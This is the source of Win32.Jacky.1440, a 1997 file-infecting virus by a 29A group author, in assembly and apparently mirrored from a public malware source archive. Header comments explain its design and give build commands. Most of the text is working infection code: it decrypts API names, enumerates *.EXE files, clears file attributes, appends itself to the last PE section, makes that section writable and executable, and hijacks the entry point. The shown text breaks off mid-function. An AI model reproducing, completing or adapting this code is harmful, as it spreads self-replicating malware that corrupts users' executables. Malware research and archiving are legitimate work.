mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-29 22:45:27 +00:00
1154 lines
46 KiB
NASM
1154 lines
46 KiB
NASM
|
;
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; Win32.Jacky.1440 <20><><EFBFBD> <20><><EFBFBD> <20><><EFBFBD> <20><><EFBFBD> <20><><EFBFBD> <20><><EFBFBD>
|
|||
|
; by Jacky Qwerty/29A <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD> <20><><EFBFBD>
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD> <20><><EFBFBD>
|
|||
|
;
|
|||
|
; Hello ppl, welcome to the first "Winblowz" 95/NT fully compatible virus.
|
|||
|
; Yea i didnt mistype above, it reads "Win32" not "Win95" coz this babe is
|
|||
|
; really a "genuine" Win32 virus, which means it should be able to infect
|
|||
|
; any Win32 based system: Windoze 95, Windoze NT or Win32s. For some known
|
|||
|
; reasonz that i wont delve in detail here, previous Win95 virusez were una-
|
|||
|
; ble to spread succesfully under NT. The main reasonz were becoz they asu-
|
|||
|
; med KERNEL32 bein loaded at a fixed base adress (not true for NT or even
|
|||
|
; future Win95 updatez) and they also made a "guess" about where the Win32
|
|||
|
; API functionz were located inside the KERNEL32 itself.
|
|||
|
;
|
|||
|
; This virus does NOT rely on fixed memory positionz or absolute adressez in
|
|||
|
; order to run and spread. It always works at the Win32 API level, not play-
|
|||
|
; in its trickz "under the hood". This proves enough for the virus to spread
|
|||
|
; succesfully on NT, asumin the user has enough rightz, of course.
|
|||
|
;
|
|||
|
; Unfortunately, this virus didnt make it as the first Windoze NT virus for
|
|||
|
; the media. AVerz said they didnt have an NT machine available for virus
|
|||
|
; testin, so they simply didnt test it under NT. Well ehem, thats what they
|
|||
|
; said #8S. In the past summer however i finished the codin of Win32.Cabanas
|
|||
|
; which is a far superior virus with much more featurez than its predecesor.
|
|||
|
; This time, the guyz from Datafellowz and AVP made serious testz with Caba-
|
|||
|
; nas under NT until they finally concluded: "Oh miracle! it is able to work
|
|||
|
; under NT!". So acordin to the media, Win32.Cabanas is the first WinNT vi-
|
|||
|
; rus and not Win32.Jacky as it should have been. Anywayz..
|
|||
|
;
|
|||
|
;
|
|||
|
; Technical description
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; When Win32.Jacky executes, it first looks for KERNEL32 base adress usin
|
|||
|
; the GetModuleHandleA API right from the host import table and then it re-
|
|||
|
; trieves all other file API function adressez by usin the GetProcAdress API
|
|||
|
; also from the import table. These APIz are not inserted by the virus when
|
|||
|
; infection, they are only used if they already existed there (very likely),
|
|||
|
; but this is not a "must do" for the virus to work tho. After all Win32 API
|
|||
|
; functionz needed by the virus have been located, it looks for PE (EXE) fi-
|
|||
|
; lez in the current directory and infects them one by one.
|
|||
|
;
|
|||
|
; When infection starts, each EXE file is opened and maped in shared memory
|
|||
|
; usin the "file mapin" API functionz provided by KERNEL32. This proves to
|
|||
|
; be a great advance regardin file functionz as it clearly simplifies to a
|
|||
|
; large extent the infection process and file handlin in general. After the
|
|||
|
; PE signature is detected from the maped file, the virus inspects its im-
|
|||
|
; port table lookin for the GetModuleHandleA and GetProcAddress APIz inside
|
|||
|
; the KERNEL32 import descriptor. If this module is not imported, the file
|
|||
|
; is left alone and discarded. If the GetProcAddress API is not found, the
|
|||
|
; virus (later on when it executes) will call its own internal GetProcAd-
|
|||
|
; dressET function, which simply inspects the KERNEL32 export table lookin
|
|||
|
; for any specified Win32 API function. If GetModuleHandleA is not found the
|
|||
|
; file will still get infected but then the virus, in order to find the KER-
|
|||
|
; NEL32 base adress, will be relyin on a smoewhat undocumented feature (che-
|
|||
|
; cked before use). This feature is very simple: whenever a PE file with un-
|
|||
|
; bound KERNEL32 function adressez is loaded, the Win95 loader puts the KER-
|
|||
|
; NEL32 adress in the ForwarderChain field of the KERNEL32 import descrip-
|
|||
|
; tor. This also works in Win95 OSR2 version but doesnt work on WinNT tho,
|
|||
|
; so it should be used with some care after makin some sanity checkz first.
|
|||
|
;
|
|||
|
; If the GetModuleHandleA and GetProcAddrss APIz are found, the virus will
|
|||
|
; hardcode their IAT referencez inside the virus code, then later on when
|
|||
|
; the virus executes, it will have these API referencez already waitin to be
|
|||
|
; called by the installation code. After the latter API search is done, the
|
|||
|
; virus copies itself to the last section in the file, modifies the section
|
|||
|
; atributez to acomodate the virus code and finally changes the EntryPoint
|
|||
|
; field in the PE header to point to the virus code. The virus doesnt change
|
|||
|
; or modify the time/date stamp of infected filez nor it is stoped by the
|
|||
|
; "read only" atribute.
|
|||
|
;
|
|||
|
;
|
|||
|
; AVP description
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; Before jumpin to the source code, lets read what AVP has to say about the
|
|||
|
; virus. Unfortunately as u will see they didnt test the thing on NT, other-
|
|||
|
; wise they would have had a big surprise with it hehe #8D
|
|||
|
;
|
|||
|
; (*) Win95.Jacky - http://www.avp.ch/avpve/newexe/win95/jacky.stm *
|
|||
|
;
|
|||
|
;- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
|
|||
|
; It is a harmless nonmemory resident parasitic Win95/NT virus 1440
|
|||
|
; bytes of length. Being executed the virus scans Win95/NT kernel and
|
|||
|
; gets undocumented addresses of system file access function (see the
|
|||
|
; list below). Then it searches for NewEXE Portable Executable
|
|||
|
; (Win95 and NT) files and writes itself to the end of the file. The
|
|||
|
; virus aligns the file length to the section, so the file lengths
|
|||
|
; grows more that 1440 bytes while infection.
|
|||
|
;
|
|||
|
; This is the first known Win95/NT parasitic virus that does not add
|
|||
|
; new section to the file - while infecting a file the virus writes
|
|||
|
; itself to the end of the file, increases the size of last section
|
|||
|
; in the file, and modifies characteristics of this section. So,
|
|||
|
; only entry point address, size and characteristics of last section
|
|||
|
; are modified in infected files.
|
|||
|
;
|
|||
|
; This is also first known to me Win95/NT infector that did work on
|
|||
|
; my test computer (Windows95) without any problem. I did not try it
|
|||
|
; under NT.
|
|||
|
;
|
|||
|
; The virus contains the encrypted strings, a part of these strings
|
|||
|
; are the names of system functions that are used during infection:
|
|||
|
;
|
|||
|
; KERNEL32 GetModuleHandleA GetProcAddress
|
|||
|
; *.EXE
|
|||
|
; CreateFileA CreateFileMappingA CloseHandle UnmapViewOfFile
|
|||
|
; MapViewOfFile FindFirstFileA FindNextFileA FindClose
|
|||
|
; SetFileAttributesA SetFilePointer SetEndOfFile SetFileTime
|
|||
|
;
|
|||
|
; To My d34d fRi3nD c4b4n4s..
|
|||
|
; A Win/NT/95 ViRuS v1.00.
|
|||
|
; By: j4cKy Qw3rTy / 29A.
|
|||
|
; jqw3rty@cryogen.com
|
|||
|
;- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
|
|||
|
;
|
|||
|
;
|
|||
|
; Greetingz
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; And finaly the greetinz go to:
|
|||
|
;
|
|||
|
; Mr.Chan, Wai ......... Thx for your help and advice.. master!
|
|||
|
; MrSandman/29A ........ erm.. when will 29A#2 go out? hehe ;)
|
|||
|
; QuantumG ............. What about yer NT resident driver idea?
|
|||
|
; DarkSide1 ............ We are Southamerican rockerzzz!
|
|||
|
; GriYo/29A ............ Implant poly rulez!
|
|||
|
;
|
|||
|
;
|
|||
|
; Disclaimer
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; This source code is for educational purposez only. The author is not res-
|
|||
|
; ponsible for any problemz caused due to the assembly of this file.
|
|||
|
;
|
|||
|
;
|
|||
|
; Compiling it
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; tasm32 -ml -m5 -q -zn w32jacky.asm
|
|||
|
; tlink32 -Tpe -c -x -aa w32jacky,,, import32
|
|||
|
; pewrsec w32jacky.exe
|
|||
|
;
|
|||
|
;
|
|||
|
; (c) 1997 Jacky Qwerty/29A.
|
|||
|
|
|||
|
|
|||
|
.386p
|
|||
|
.model flat ;whoaa.. no more segmentz
|
|||
|
|
|||
|
;Some includez containin very useful structurez and constantz for Win32
|
|||
|
|
|||
|
include Useful.inc
|
|||
|
include Win32API.inc
|
|||
|
include MZ.inc
|
|||
|
include PE.inc
|
|||
|
|
|||
|
;Some equ's needed by the virus
|
|||
|
|
|||
|
work_size equ 4000h ;size to grow up memory maped file
|
|||
|
size_pad equ 101 ;size paddin to mark infected filez
|
|||
|
v_size equ v_end - v_start ;virus absolute size in filez
|
|||
|
|
|||
|
extrn GetModuleHandleA :proc ;APIs used durin first generation only
|
|||
|
extrn GetProcAddress :proc
|
|||
|
|
|||
|
.data
|
|||
|
db ? ;some dummy data so tlink32 dont yell
|
|||
|
|
|||
|
.code
|
|||
|
|
|||
|
;Virus code starts here
|
|||
|
|
|||
|
v_start:
|
|||
|
|
|||
|
push eax ;make space to store return adress
|
|||
|
pushad ;save all
|
|||
|
call get_deltaz ;here we go
|
|||
|
|
|||
|
;API namez needed by the virus. They will travel in encrypted form
|
|||
|
|
|||
|
ve_stringz:
|
|||
|
|
|||
|
veszKernel32 db 'KERNEL32',0
|
|||
|
veszGetModuleHandleA db 'GetModuleHandleA',0
|
|||
|
veszGetProcAddress db 'GetProcAddress',0
|
|||
|
|
|||
|
eEXE_filez db '*.EXE',0 ;filez to search
|
|||
|
|
|||
|
veszCreateFileA db 'CreateFileA',0
|
|||
|
veszCreateFileMappingA db 'CreateFileMappingA',0
|
|||
|
veszCloseHandle db 'CloseHandle',0
|
|||
|
veszUnmapViewOfFile db 'UnmapViewOfFile',0
|
|||
|
veszMapViewOfFile db 'MapViewOfFile',0
|
|||
|
veszFindFirstFileA db 'FindFirstFileA',0
|
|||
|
veszFindNextFileA db 'FindNextFileA',0
|
|||
|
veszFindClose db 'FindClose',0
|
|||
|
veszSetFileAttributesA db 'SetFileAttributesA',0
|
|||
|
veszSetFilePointer db 'SetFilePointer',0
|
|||
|
veszSetEndOfFile db 'SetEndOfFile',0
|
|||
|
veszSetFileTime db 'SetFileTime',0
|
|||
|
|
|||
|
eEndOfFunctionNames db 0
|
|||
|
|
|||
|
;An epitaph to a good friend of mine (not a "junkie" Pete)
|
|||
|
|
|||
|
db 'To My d34d fRi3nD c4b4n4s..',CRLF
|
|||
|
db 'A Win/NT/95 ViRuS v1.00. ',CRLF
|
|||
|
db 'By: j4cKy Qw3rTy / 29A. ',CRLF
|
|||
|
db 'jqw3rty@cryogen.com',0
|
|||
|
|
|||
|
ve_string_size = $ - ve_stringz
|
|||
|
|
|||
|
crypt: lodsb ;decrypt API stringz
|
|||
|
rol al,cl
|
|||
|
not al
|
|||
|
stosb
|
|||
|
loop crypt
|
|||
|
ret
|
|||
|
|
|||
|
get_deltaz:
|
|||
|
|
|||
|
mov ecx,ve_string_size
|
|||
|
pop esi ;get pointer to ve_stringz
|
|||
|
cld
|
|||
|
lea ebp,[esi + v_end - ve_stringz] ;get pointer to virus end
|
|||
|
lea eax,[esi + v_start - ve_stringz]
|
|||
|
mov edi,ebp
|
|||
|
stosd ;save pointer to virus start
|
|||
|
add eax,- 12345678h
|
|||
|
delta_host = dword ptr $ - 4
|
|||
|
stosd ;save current host base adress
|
|||
|
lea edi,[ebp + v_stringz - v_end] ;get pointer to API namez
|
|||
|
sub eax,- 12345678h
|
|||
|
phost_start_rva = dword ptr $ - 4
|
|||
|
push edi ;push pointer to "KERNEL32" string
|
|||
|
xchg ebx,eax
|
|||
|
mov [esp.(Pshd).cPushad.RetAddr],ebx ;save host entry to return
|
|||
|
|
|||
|
decrypt_stringz:
|
|||
|
|
|||
|
call crypt ;decrypt encrypted API and stringz
|
|||
|
call MyGetModuleHandleA ;get KERNEL32 base adress
|
|||
|
jecxz jmp_host_2
|
|||
|
mov [ebp + K32Mod - v_end],ecx ;save it
|
|||
|
lea esi,[ebp + FunctionNamez - v_end]
|
|||
|
lea edi,[ebp + FunctionAddressez - v_end]
|
|||
|
|
|||
|
GetAPIAddress: ;get adressez of API functionz used by the virus
|
|||
|
|
|||
|
push esi
|
|||
|
call MyGetProcAddressK32 ;get API adress
|
|||
|
|
|||
|
jmp_host_2:
|
|||
|
|
|||
|
jecxz jmp_host
|
|||
|
cld
|
|||
|
xchg eax,ecx
|
|||
|
stosd ;save retrieved API adress
|
|||
|
lodsb ;point to next API name
|
|||
|
test al,al
|
|||
|
jnz $ - 3
|
|||
|
cmp al,[esi] ;end of API namez reached?
|
|||
|
jnz GetAPIAddress ;no, get next API adress
|
|||
|
|
|||
|
lea ebx,[ebp + FindData - v_end] ;Find filez matchin *.EXE
|
|||
|
push ebx
|
|||
|
lea eax,[ebp + EXE_filez - v_end]
|
|||
|
push eax
|
|||
|
call [ebp + ddFindFirstFileA - v_end] ;call FindFirstFileA API
|
|||
|
inc eax
|
|||
|
jz jmp_host
|
|||
|
dec eax
|
|||
|
push eax ;save search handle
|
|||
|
|
|||
|
Process_File: ;check file and infect it
|
|||
|
|
|||
|
lea edx,[ebx.WFD_szFileName]
|
|||
|
call Open&MapFile ;open and map file
|
|||
|
jecxz Find_Next
|
|||
|
xor eax,eax
|
|||
|
cmp [ebx.WFD_nFileSizeHigh],eax ;skip filez too large (>1GB)
|
|||
|
jnz Close_File
|
|||
|
add eax,[ebx.WFD_nFileSizeLow]
|
|||
|
js Close_File
|
|||
|
add eax,-80h ;skip filez too short
|
|||
|
jnc Close_File
|
|||
|
call Check_PE_sign ;it has to be a PE file
|
|||
|
jnz Close_File
|
|||
|
test ah,IMAGE_FILE_DLL shr 8 ;can't have DLL bit
|
|||
|
jnz Close_File
|
|||
|
xor ecx,ecx
|
|||
|
mov eax,[ebx.WFD_nFileSizeLow] ;check if file is infected
|
|||
|
mov cl,size_pad
|
|||
|
cdq
|
|||
|
div ecx
|
|||
|
mov esi,edx ;esi == 0, file already infected or not infectable
|
|||
|
;esi != 0, file not infected, i.e. infect it!
|
|||
|
Close_File:
|
|||
|
|
|||
|
call Close&UnmapFile ;close and unmap file
|
|||
|
mov ecx,esi
|
|||
|
jecxz Find_Next ;jump and find next file
|
|||
|
call Infect ;infect file
|
|||
|
|
|||
|
Find_Next:
|
|||
|
|
|||
|
pop eax ;find next file
|
|||
|
push eax ebx eax
|
|||
|
call [ebp + ddFindNextFileA - v_end]
|
|||
|
test eax,eax
|
|||
|
jnz Process_File
|
|||
|
|
|||
|
Find_Close:
|
|||
|
|
|||
|
call [ebp + ddFindClose - v_end] ;no more filez, close search
|
|||
|
|
|||
|
jmp_host:
|
|||
|
|
|||
|
popad ;jump to host
|
|||
|
ret
|
|||
|
|
|||
|
Infect proc ;blank file attributez, open and map file in r/w mode,
|
|||
|
;infect it, restore date/time stamp and attributez
|
|||
|
|
|||
|
lea edx,[ebx.WFD_szFileName] ;get filename
|
|||
|
push edx 0 edx
|
|||
|
call [ebp + ddSetFileAttributesA - v_end] ;blank file attributez
|
|||
|
xchg ecx,eax
|
|||
|
pop edx
|
|||
|
jecxz end_Infect1
|
|||
|
mov edi,work_size
|
|||
|
add edi,[ebx.WFD_nFileSizeLow]
|
|||
|
call Open&MapFileAdj ;open and map file in read/write mode
|
|||
|
jecxz end_Infect2
|
|||
|
lea esi,[ebp + vszKernel32 - v_end]
|
|||
|
lea eax,[ebp + vszGetModuleHandleA - v_end]
|
|||
|
push eax esi
|
|||
|
lea eax,[ebp + vszGetProcAddress - v_end]
|
|||
|
push eax esi ecx
|
|||
|
call GetProcAddressIT ;get ptr to GetProcAddress API
|
|||
|
mov [ebp + ddGetProcAddress - v_end],eax
|
|||
|
push ecx
|
|||
|
xor esi,esi
|
|||
|
call GetProcAddressIT ;get ptr to GetModuleHandleA API
|
|||
|
mov [ebp + ddGetModuleHandleA - v_end],eax
|
|||
|
test eax,eax
|
|||
|
jnz GetModHandle_found ;if GetModuleHandleA found,
|
|||
|
test esi,esi ;jump and attach virus
|
|||
|
jz end_Infect3 ;KERNEL32 import descriptor not found,
|
|||
|
;then dont infect
|
|||
|
|
|||
|
x = IMAGE_SIZEOF_IMPORT_DESCRIPTOR
|
|||
|
|
|||
|
;GetModuleHandleA not found
|
|||
|
|
|||
|
cmp [esi.ID_TimeDateStamp - x],eax ;check if we can rely on
|
|||
|
jz got_easy ;the ForwarderChain trick
|
|||
|
cmp eax,[esi.ID_OriginalFirstThunk - x]
|
|||
|
jz end_Infect3
|
|||
|
mov [esi.ID_TimeDateStamp - x],eax
|
|||
|
|
|||
|
got_easy:
|
|||
|
|
|||
|
mov eax,[esi.ID_ForwarderChain - x] ;hardcode pointerz to
|
|||
|
mov [ebp + ptrForwarderChain - v_end],edx ;the ForwarderChain
|
|||
|
mov [ebp + ddForwarderChain - v_end],eax ;field
|
|||
|
|
|||
|
GetModHandle_found:
|
|||
|
|
|||
|
mov esi,[ebp + pv_start - v_end]
|
|||
|
call Attach ;attach virus to host
|
|||
|
end_Infect3:
|
|||
|
|
|||
|
call Close&UnmapFileAdj ;close and unmap file
|
|||
|
|
|||
|
end_Infect2:
|
|||
|
|
|||
|
mov ecx,[ebx.WFD_dwFileAttributes] ;restore original atribute
|
|||
|
jecxz end_Infect1
|
|||
|
lea edx,[ebx.WFD_szFileName]
|
|||
|
push ecx edx
|
|||
|
call [ebp + ddSetFileAttributesA - v_end]
|
|||
|
|
|||
|
end_Infect1:
|
|||
|
|
|||
|
ret
|
|||
|
|
|||
|
Infect endp
|
|||
|
|
|||
|
Check_PE_sign proc ;checks validity of a PE file
|
|||
|
; on entry: EDX = host file size
|
|||
|
; ECX = base address of memory-maped file
|
|||
|
; EBX = pointer to WIN32_FIND_DATA structure
|
|||
|
; EAX = host file size - 80h
|
|||
|
; on exit: Zero flag = 1, infectable PE file
|
|||
|
; Zero flag = 0, not infectable file
|
|||
|
|
|||
|
cmp word ptr [ecx],IMAGE_DOS_SIGNATURE ;needs MZ signature
|
|||
|
jnz end_check_PE_sign
|
|||
|
cmp word ptr [ecx.MZ_lfarlc],40h ;needs Win signature
|
|||
|
jb end_check_PE_sign ;(well not necesarily)
|
|||
|
mov edi,[ecx.MZ_lfanew] ;get ptr to new exe format
|
|||
|
cmp eax,edi ;ptr out of range?
|
|||
|
jb end_check_PE_sign
|
|||
|
add edi,ecx
|
|||
|
cmp dword ptr [edi],IMAGE_NT_SIGNATURE ;check PE signature
|
|||
|
jnz end_check_PE_sign
|
|||
|
cmp word ptr [edi.NT_FileHeader.FH_Machine], \ ;must be 386+
|
|||
|
IMAGE_FILE_MACHINE_I386
|
|||
|
jnz end_check_PE_sign
|
|||
|
mov eax,dword ptr [edi.NT_FileHeader.FH_Characteristics]
|
|||
|
not al
|
|||
|
test al,IMAGE_FILE_EXECUTABLE_IMAGE ;must have the executable bit
|
|||
|
|
|||
|
end_check_PE_sign:
|
|||
|
|
|||
|
ret
|
|||
|
|
|||
|
Check_PE_sign endp
|
|||
|
|
|||
|
Open&MapFile proc ;open and map file in read only mode
|
|||
|
; on entry:
|
|||
|
; EDX = pszFileName (pointer to file name)
|
|||
|
; on exit:
|
|||
|
; ECX = 0, if error
|
|||
|
; ECX = base adress of memory-maped file, if ok
|
|||
|
|
|||
|
xor edi,edi
|
|||
|
|
|||
|
Open&MapFileAdj: ;open and map file in read/write mode
|
|||
|
; on entry:
|
|||
|
; EDI = file size + work space (in bytes)
|
|||
|
; EDX = pszFileName (pointer to file name)
|
|||
|
; on exit:
|
|||
|
; ECX = 0, if error
|
|||
|
; ECX = base adress of memory-maped file, if ok
|
|||
|
; EDI = old file size
|
|||
|
|
|||
|
xor eax,eax
|
|||
|
push eax eax OPEN_EXISTING eax eax
|
|||
|
mov al,1
|
|||
|
ror eax,1
|
|||
|
mov ecx,edi
|
|||
|
jecxz $+4
|
|||
|
rcr eax,1
|
|||
|
push eax edx
|
|||
|
call [ebp + ddCreateFileA - v_end] ;open file
|
|||
|
cdq
|
|||
|
inc eax
|
|||
|
jz end_Open&MapFile
|
|||
|
dec eax
|
|||
|
push eax ;push first handle
|
|||
|
|
|||
|
xor esi,esi
|
|||
|
push edx edi edx
|
|||
|
mov dl,PAGE_READONLY
|
|||
|
mov ecx,edi
|
|||
|
jecxz $+4
|
|||
|
shl dl,1
|
|||
|
push edx esi eax
|
|||
|
call [ebp + ddCreateFileMappingA - v_end] ;create file
|
|||
|
cdq ;mapping
|
|||
|
xchg ecx,eax
|
|||
|
jecxz end_Open&MapFile2
|
|||
|
push ecx ;push second handle
|
|||
|
|
|||
|
push edi edx edx
|
|||
|
mov dl,FILE_MAP_READ
|
|||
|
test edi,edi
|
|||
|
jz OMF_RdOnly
|
|||
|
shr dl,1
|
|||
|
mov edi,[ebx.WFD_nFileSizeLow]
|
|||
|
OMF_RdOnly: push edx ecx
|
|||
|
call [ebp + ddMapViewOfFile - v_end] ;map view of file
|
|||
|
xchg ecx,eax
|
|||
|
jecxz end_Open&MapFile3
|
|||
|
push ecx ;push base address of
|
|||
|
;memory-mapped file
|
|||
|
jmp [esp.(3*Pshd).RetAddr] ;jump to return adress leavin
|
|||
|
;parameterz in the stack
|
|||
|
Open&MapFile endp
|
|||
|
|
|||
|
Close&UnmapFile proc ;close and unmap file previosly opened in r/o mode
|
|||
|
|
|||
|
xor edi,edi
|
|||
|
|
|||
|
Close&UnmapFileAdj: ;close and unmap file previosly opened in r/w mode
|
|||
|
|
|||
|
pop eax ;return adress
|
|||
|
mov [esp.(3*Pshd).RetAddr],eax
|
|||
|
call [ebp + ddUnmapViewOfFile - v_end] ;unmap view of file
|
|||
|
|
|||
|
end_Open&MapFile3:
|
|||
|
|
|||
|
call [ebp + ddCloseHandle - v_end] ;close handle
|
|||
|
mov ecx,edi
|
|||
|
jecxz end_Open&MapFile2 ;if read only mode jump
|
|||
|
pop eax
|
|||
|
push eax eax
|
|||
|
xor esi,esi
|
|||
|
push esi esi edi eax
|
|||
|
xchg edi,eax
|
|||
|
call [ebp + ddSetFilePointer - v_end] ;move file pointer to
|
|||
|
;the real end of file
|
|||
|
call [ebp + ddSetEndOfFile - v_end] ;truncate file at
|
|||
|
lea eax,[ebx.WFD_ftLastWriteTime] ;real end of file
|
|||
|
push eax esi esi edi
|
|||
|
call [ebp + ddSetFileTime - v_end] ;restore original
|
|||
|
;date/time stamp
|
|||
|
end_Open&MapFile2:
|
|||
|
|
|||
|
call [ebp + ddCloseHandle - v_end] ;close handle
|
|||
|
|
|||
|
end_Open&MapFile:
|
|||
|
|
|||
|
xor ecx,ecx
|
|||
|
ret
|
|||
|
|
|||
|
Close&UnmapFile endp
|
|||
|
|
|||
|
Attach proc ;attach virus code to last section in the PE file and
|
|||
|
; change section characteristicz to reflect infection
|
|||
|
;on entry:
|
|||
|
; ECX = base of memory-maped file
|
|||
|
; ESI = pointer to start of virus code
|
|||
|
;on exit:
|
|||
|
; EDI = new file size
|
|||
|
pushad
|
|||
|
push ecx
|
|||
|
mov ebp,ecx ;get base adress
|
|||
|
add ebp,[ebp.MZ_lfanew] ;get PE header base
|
|||
|
movzx ecx,word ptr [ebp.NT_FileHeader \ ;get Number of Sections
|
|||
|
.FH_NumberOfSections]
|
|||
|
xor eax,eax
|
|||
|
movzx edi,word ptr [ebp.NT_FileHeader \ ;get 1st section header
|
|||
|
.FH_SizeOfOptionalHeader]
|
|||
|
x = IMAGE_SIZEOF_SECTION_HEADER
|
|||
|
mov al,x
|
|||
|
mul ecx ;get last section header
|
|||
|
pop edx
|
|||
|
jecxz end_Attach2
|
|||
|
add edi,eax
|
|||
|
lea ebx,[ebp.NT_OptionalHeader + edi]
|
|||
|
mov ecx,[ebx.SH_SizeOfRawData - x]
|
|||
|
mov eax,[ebx.SH_VirtualSize - x]
|
|||
|
cmp ecx,eax
|
|||
|
jnc $+3
|
|||
|
xchg eax,ecx
|
|||
|
add edx,[ebx.SH_PointerToRawData - x]
|
|||
|
sub eax,-3
|
|||
|
mov ecx,(v_size + 3)/4
|
|||
|
and al,-4
|
|||
|
lea edi,[eax+edx] ;find pointer in last section where virus
|
|||
|
cld ;will be copied
|
|||
|
rep movsd ;copy virus
|
|||
|
add eax,[ebx.SH_VirtualAddress - x] ;calculate virus entry point
|
|||
|
mov ecx,[ebp.NT_OptionalHeader.OH_FileAlignment] ;in RVA
|
|||
|
|
|||
|
end_Attach2:
|
|||
|
|
|||
|
jecxz end_Attach
|
|||
|
push eax ;virus entry point
|
|||
|
lea esi,[edi + (phost_start_rva - v_start) - ((v_size + 3) \
|
|||
|
and (-4))]
|
|||
|
neg eax
|
|||
|
sub edi,edx
|
|||
|
mov [esi + delta_host - phost_start_rva],eax ;harcode delta to
|
|||
|
lea eax,[ecx+edi-1] ;host base adress
|
|||
|
cdq ;edx=0
|
|||
|
sub edx,[ebp.NT_OptionalHeader.OH_AddressOfEntryPoint]
|
|||
|
mov [esi],edx ;hardcode delta to original entry point RVA
|
|||
|
cdq ;edx=0
|
|||
|
div ecx
|
|||
|
pop esi ;virus entry point
|
|||
|
mul ecx ;calculate new size of section (raw data)
|
|||
|
xchg eax,edi
|
|||
|
mov ecx,[ebp.NT_OptionalHeader.OH_SectionAlignment]
|
|||
|
add eax,(virtual_end - v_end + 3) and (-4)
|
|||
|
jecxz end_Attach
|
|||
|
cmp [ebx.SH_VirtualSize - x],eax
|
|||
|
jnc n_vir
|
|||
|
mov [ebx.SH_VirtualSize - x],eax ;store new size of section (RVA)
|
|||
|
n_vir: dec eax
|
|||
|
mov [ebx.SH_SizeOfRawData - x],edi ;store new size of section
|
|||
|
add eax,ecx ;(raw data)
|
|||
|
div ecx
|
|||
|
mul ecx
|
|||
|
add eax,[ebx.SH_VirtualAddress - x]
|
|||
|
cmp [ebp.NT_OptionalHeader.OH_SizeOfImage],eax
|
|||
|
jnc n_img
|
|||
|
mov [ebp.NT_OptionalHeader.OH_SizeOfImage],eax ;store new size
|
|||
|
;of image (RVA)
|
|||
|
n_img: add edi,[ebx.SH_PointerToRawData - x] ;get new file size
|
|||
|
sub ecx,ecx
|
|||
|
or byte ptr [ebx.SH_Characteristics.hiw.hib - x],0E0h ;change
|
|||
|
; (IMAGE_SCN_MEM_EXECUTE or \ ;section characte-
|
|||
|
; IMAGE_SCN_MEM_READ or \ ;risticz to: execute,
|
|||
|
; IMAGE_SCN_MEM_WRITE) shr 12 ;read & write access
|
|||
|
pop eax ;get original file size
|
|||
|
mov cl,size_pad
|
|||
|
cdq ; edx=0
|
|||
|
cmp edi,eax ;compare it with new file size
|
|||
|
jc $+3
|
|||
|
xchg edi,eax ;take the greater
|
|||
|
sub eax,1 - size_pad
|
|||
|
div ecx
|
|||
|
mul ecx ;grow file size to a multiple of size_pad
|
|||
|
push eax
|
|||
|
mov [ebp.NT_OptionalHeader.OH_AddressOfEntryPoint],esi ;change
|
|||
|
;entry point
|
|||
|
end_Attach:
|
|||
|
|
|||
|
popad
|
|||
|
ret
|
|||
|
|
|||
|
Attach endp
|
|||
|
|
|||
|
GetProcAddressIT proc ;gets a pointer to an API function from the Import Table
|
|||
|
; (the object inspected is in raw form, ie memory-maped)
|
|||
|
;on entry:
|
|||
|
; TOS+0Ch (Arg3): API function name
|
|||
|
; TOS+08h (Arg2): module name
|
|||
|
; TOS+04h (Arg1): base adress of memory-maped file
|
|||
|
; TOS+00h (return adress)
|
|||
|
;on exit:
|
|||
|
; EAX = RVA pointer to IAT entry
|
|||
|
; EAX = 0, if not found
|
|||
|
pushad
|
|||
|
mov ebp,[esp.cPushad.Arg1] ;get Module Handle from Arg1
|
|||
|
lea esi,[ebp.MZ_lfanew]
|
|||
|
add esi,[esi] ;get address of PE header + MZ_lfanew
|
|||
|
mov ecx,[esi.NT_OptionalHeader \ ;get size of import directory
|
|||
|
.OH_DirectoryEntries \
|
|||
|
.DE_Import \
|
|||
|
.DD_Size \
|
|||
|
-MZ_lfanew]
|
|||
|
jecxz End_GetProcAddressIT2 ;if size is zero, no API imported!
|
|||
|
movzx ecx,word ptr [esi.NT_FileHeader \ ;get number of sectionz
|
|||
|
.FH_NumberOfSections \
|
|||
|
-MZ_lfanew]
|
|||
|
jecxz End_GetProcAddressIT2
|
|||
|
movzx ebx,word ptr [esi.NT_FileHeader \ ;get 1st section header
|
|||
|
.FH_SizeOfOptionalHeader \
|
|||
|
-MZ_lfanew]
|
|||
|
lea ebx,[esi.NT_OptionalHeader + ebx - MZ_lfanew]
|
|||
|
x = IMAGE_SIZEOF_SECTION_HEADER
|
|||
|
|
|||
|
match_virtual: ;find section containin the import table. (not necesarily
|
|||
|
;its in the .idata section!)
|
